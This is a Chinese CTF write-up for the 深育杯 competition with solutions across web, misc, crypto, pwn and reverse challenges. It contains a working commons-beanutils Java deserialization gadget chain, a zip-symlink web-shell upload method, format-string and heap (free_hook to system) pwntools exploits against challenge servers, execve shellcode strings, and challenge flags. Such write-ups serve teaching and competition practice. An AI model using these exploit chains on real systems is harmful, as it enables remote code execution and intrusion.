深育杯-WriteUp
Web
weblog
解题思路
抓包调下日志时间，有返回的jar包。反编译看下控制器 有个反序列化的路由：
pom.xml中只有cb的包，没有cc的，所以构造一个不依赖cc的cb链即可
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
/**
* @author ying
* @Description
* @create 2021-11-14 11:16 PM
*/
public class weblog {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws NoSuchFieldException, IllegalAccessException {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(b);
oos.writeObject(queue);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(b.toByteArray()));
}
}
然后打过去就行（此处为本地复现）:
zipzip
解题思路
题目让用zip文件拿shell，有个上传zip页面，关于zip一般是目录穿越拿shell，但是这题不行。猜测可能会解压，并且解压的位置不知道，可以采用软链接做后门。就是将我们上传解压后的那个文件链接到他的web目录下。第一步：上传一个做好了指向的zip压缩文件 第二步：接着再上传一个压缩包且与上一步压缩包中的压缩的文件夹同名并且此文件夹中包含shell
原理图如上，可以看见在web目录下成功创建了shell文件
Misc
LOGIN
解题思路
winhex打开压缩包搜索十六进制504B0102 将0900改为0000解除伪加密后得到压缩包中的"示例 - 副本.txt",将其压缩成单独的zip文件利用明文攻击得到example.zip的密码qwe@123,解压后得到压缩包password.zip
接着使用工具https://github.com/theonlypwner/crc32对1.txt,2.txt,3.txt进行crc32碰撞,碰撞后3个文本的内容组合起来得到password.zip的密码welc0me_sangforctf 解压后得到swp文件，使用vim -r 恢复文件，得到账户密码
登录后f12查看flag
Crypto
GeGe
解题思路
从一道CTF题初探NTRU格密码 - 先知社区 (aliyun.com)
h = 3967900409518491437091166715380802161532841159072519563471354336400750930009970177101953304861954502146570721506995224520631716261108071684882841102381144720177664434981608584075201907891964214604246219441325377602163957172642582158192223452845671007585556951922415200415538060247456213608112360361636912703380306386439846269645696750929811607783895294670639202472465920599542568227657152922843001792754116981992696203788298740550812661583820191877594185184758074771316815650833195023325150218113883046328740408517222933980589974912467363367727038230703152354450353199257411964288022409128890352346036423792759938468964462267528727695183747947515480432786669353434638860350849296620606820894819933050645748656981993408399675189724419997805599649975500093890450393421897803267909569938850674774386012819838940544502656293639875120854745249463561940935651895728242282430164407574626178693654713011323376912585958110558532953333
p = 4407206782832544188667944201727813617189883940490534227436068867901196311508151544316989531306678865408607390128649278629254128753967046691736522108356971272311308455619879297358588727267184200777923695048248757115057072357087881336680504033511958280710547178971268670442650871890760916203109226852889599638484429889898210426540567794020013920566784973281560628666918122674783539653720295629054898529900882965691587718212291373734218555167591690910246380516121338139063419587750344469214004539520017140593342859857394308703001939640899189432836134392830208318268131639318655382175643272565186884496188876341460968563623529229713790076050095498053846983536874648190033735162809614805624209827336432223553914651838063614534617044557310972056169869738746432924853953258079006936103497626054364115282007843847693813896856977882285910369660539092462408790126385881581833165309032853389777355480169212478669139225609058338565029211
c = 4052491539376955553220568757544621659293304958837707160681090710624505862889512520190589879197831394720145909992216099963759496125523078969015706069688556356682711471641851937470179182960755800968587551608595725470945584970094036299764623894583379909329996337429067328575804567222496890803396234507278490116354758303807070775249711087938549824010697869930856205244006491475201993228121418890520174179969294094963249013786611889790711801269524919695653453576043288934196952437164829830756439734795068980207758771052483500272264363028346668629397497794792110170275173209377114274164087320163340547019935562316429227119346802124620682293405375798340275679831750482339301440428527223801872439611461272229275824994734898078664180541096159146759378804836952981089673755590353588900522455968721971944276318473421193690310601002295637581030417570868955379815661133148339565983621730401675643094909263098778572081973142223744746526672
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
grid = matrix([v1,v2])
f, g = grid .LLL()[0]
f,g = -f,-g
a = f*c % p % g
m = a * inverse_mod(f*f, g) % g
print(bytes.fromhex(hex(m)[2:]))
Pwn
FindFlag
解题思路
from pwn import *
context.log_level = 'debug'
# p = process('./find_flag')
p = remote('192.168.41.122', 2001)
def lauch_gdb():
context.terminal = ['terminator', '-x', 'sh', '-c']
gdb.attach(p)
# lauch_gdb()
p.sendlineafter("Hi! What's your name? ", '%17$llx, %15$llx')
p.recvuntil('Nice to meet you, ')
canary = int(('0x' + p.recv(16)), 16)
p.recvuntil(', ')
elfbase = int(('0x' + p.recv(12)), 16) - 0x1140
log.success('leak: 0x%x\neflbase: 0x%x' %(canary, elfbase))
backdoor = elfbase + 0x1228
p.sendlineafter('Anything else? ', 'a' * 56 + p64(canary) + p64(0) + p64(backdoor))
p.interactive()
# Sangfor{fl6iEli5bgStQ7nqR1g+auHlCFt5i1M2}
Createnode
解题思路
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './create_code'
#elf = ELF(prog)#nc 121.36.194.21 49155
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
p = remote("192.168.41.122", 2007)#nc 124.71.130.185 49155
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def choice(idx):
sla("> ",str(idx))
def add(con):
choice(1)
sa("content: ",con)
# sla("Size: ",sz)
# sa("content?",cno)
def delete(idx):
choice(3)
sla("id: ",idx)
def show(idx):
choice(2)
sla("id: ",idx)
# def edit(idx,con):
# choice(2)
# sla("Index: ",idx)
# # sla("size?",sz)
# sa("Content: ",con)
”
def exp():
# debug([0x14C0])
# add(p32(0xF012F012)+'aaaa')
# show(0)
# show(-4)
for i in range(10):
add(str(i)+'aaaaaaaaaaaa')
add(10*(p64(0)+p64(0x331)))
delete(5)
size = 0x330*2+1
code = 0x320*'x'+p64(0)+p64(size)+p64(0x1000)
add(code)
delete(8)
delete(5)
delete(4)
delete(1)
add(code)
show(1)
ru('\x10')
data = uu64('\x10'+r(5))
lg('data',data)
ru('\xe0')
l_off = uu64('\xe0'+r(5))
lg('l',l_off)
addr = l_off + 0x7f4255628000 - 0x00007f4255813be0
lg('addr',addr)
fh = addr + libc.sym['__free_hook']
sys = addr + libc.sym['system']
#--------------------------------
# delete(9)
delete(2)
size = 0x331
code = 0x320*'x'+p64(0)+p64(size)+p64(fh-0x10)
add(code)
add('pad')
add('\x00'*0x10+p64(sys))
delete(6)
code = 0x320*'x'+p64(0)+p64(size)+'/bin/sh\x00'
add(code)
delete(2)
# dbg()
it()
if __name__ == '__main__':
exp()
writebook
解题思路
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './writebook'
#elf = ELF(prog)#nc 121.36.194.21 49155
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
p = remote("192.168.41.122", 2002)#nc 124.71.130.185 49155
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def choice(idx):
sla("> ",str(idx))
def add(ty,sz):
choice(1)
sla("> ",ty)
# sla("Index: ",idx)
sla("size: ",sz)
# sa("content?",cno)
def delete(idx):
choice(4)
sla("Page: ",idx)
def show(idx):
choice(3)
sla("Page: ",idx)
# sla("size?",sz)
# sa("Content: ",con)
def edit(idx,con):
choice(2)
sla("Page: ",idx)
# sla("size?",sz)
sa("Content: ",con)
def exp():
#debug([0x7B9])
for i in range(7):
add(1,0xf0)
# for i in range(7):
add(1,0xf0)#7
add(2,0x1a8)#8
add(1,0xe8)
add(1,0xe8)#10
add(2,0x1a8)
add(2,0x1a8)
edit(11,(p64(0x100)+p64(0xb1))*0x14+'\n')
for i in range(7):
delete(i)
delete(10)
# delete(0)
add(1,0xe8)
edit(0,0xe0*'x'+p64(0xf0*2+0x1b0+0x100)+'\n')
delete(7)
delete(11)
delete(9)
add(2,0x110)
show(1)
ru("Content: ")
data = uu64(r(6))
lg('data',data)
addr = data - 0x00007fdcfb96f0f0 + 0x7fdcfb583000
lg('addr',addr)
fh = addr + libc.sym['__free_hook']
sys = addr + libc.sym['system']
#--------------------
add(2,0x1e0)
edit(2,0x180*'x'+p64(0)+p64(0xf1)+p64(fh)+'\n')
add(1,0xe8)
add(1,0xe8)
edit(4,p64(sys)+'\n')
edit(3,'/bin/sh\x00\n')
delete(3)
# dbg()
it()
if __name__ == '__main__':
exp()
Reverse
Press
解题思路 Brainfuck解密魔改成加密 转义代码
ptr[0] += 1;
ptr[0] += 1;
ptr[0] += 1;
ptr[0] += 1;
ptr[0] += 1;
ptr[0] += 1;
ptr[0] += 1;
ptr[0] += 1;
ptr[0] += 1;
ptr[0] += 1;
while (ptr[0]) {
ptr[0] -= 1;
ptr[1] += 16;
}
ptr[0] = get();
while (ptr[0]) {
ptr[0] -= 1;
ptr[1] -= 1;
}
while (ptr[2]) {
ptr[2] -= 1;
}
ptr[2] += 1;
ptr[2] += 1;
ptr[2] += 1;
ptr[2] += 1;
ptr[2] += 1;
ptr[1] += 1;
ptr[1] += 1;
put(ptr[1]);
import os
model = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
model += ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
model += ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '{', '}']
flag = ['']*56
hack_value = [0x60,0xe1,0x2f,0x05,0x79,0x80,0x5e,0xe1,0xc5,0x57,0x8b,0xcc,0x5c,0x9a,0x67,0x26,0x1e,0x19,0xaf,0x93, 0x3f,0x09,0xe2,0x97,0x99,0x7b,0x86,0xc1,0x25,0x87,0xd6,0x0c,0xdd,0xcf,0x2a,0xf5,0x65,0x0e,0x73,0x59,0x1d,0x5f,0xa4,0xf4,0x65,0x68,0xd1,0x3d,0xd2,0x98,0x5d,0xfe,0x5b,0xef,0x5b,0xcc]
for i in range(len(hack_value)):
for value in model:
flag[i] = value
f = open('flag', 'w')
f.write(''.join(flag[:i+1]))
f.close()
os.system('./press')
f=open('out', 'rb')
result = f.read()
f.close()
s = [ord(x) for x in result]
if s[i] == hack_value[i]:
print(''.join(flag))
os.remove("out")
break
os.remove("out")
Sangfor{mxhZ3tkZTBiZDY3ZS02ZDI1LTg3ZDctMTg3Ni1hZDEzMWE2MTY1Y2J9}
end
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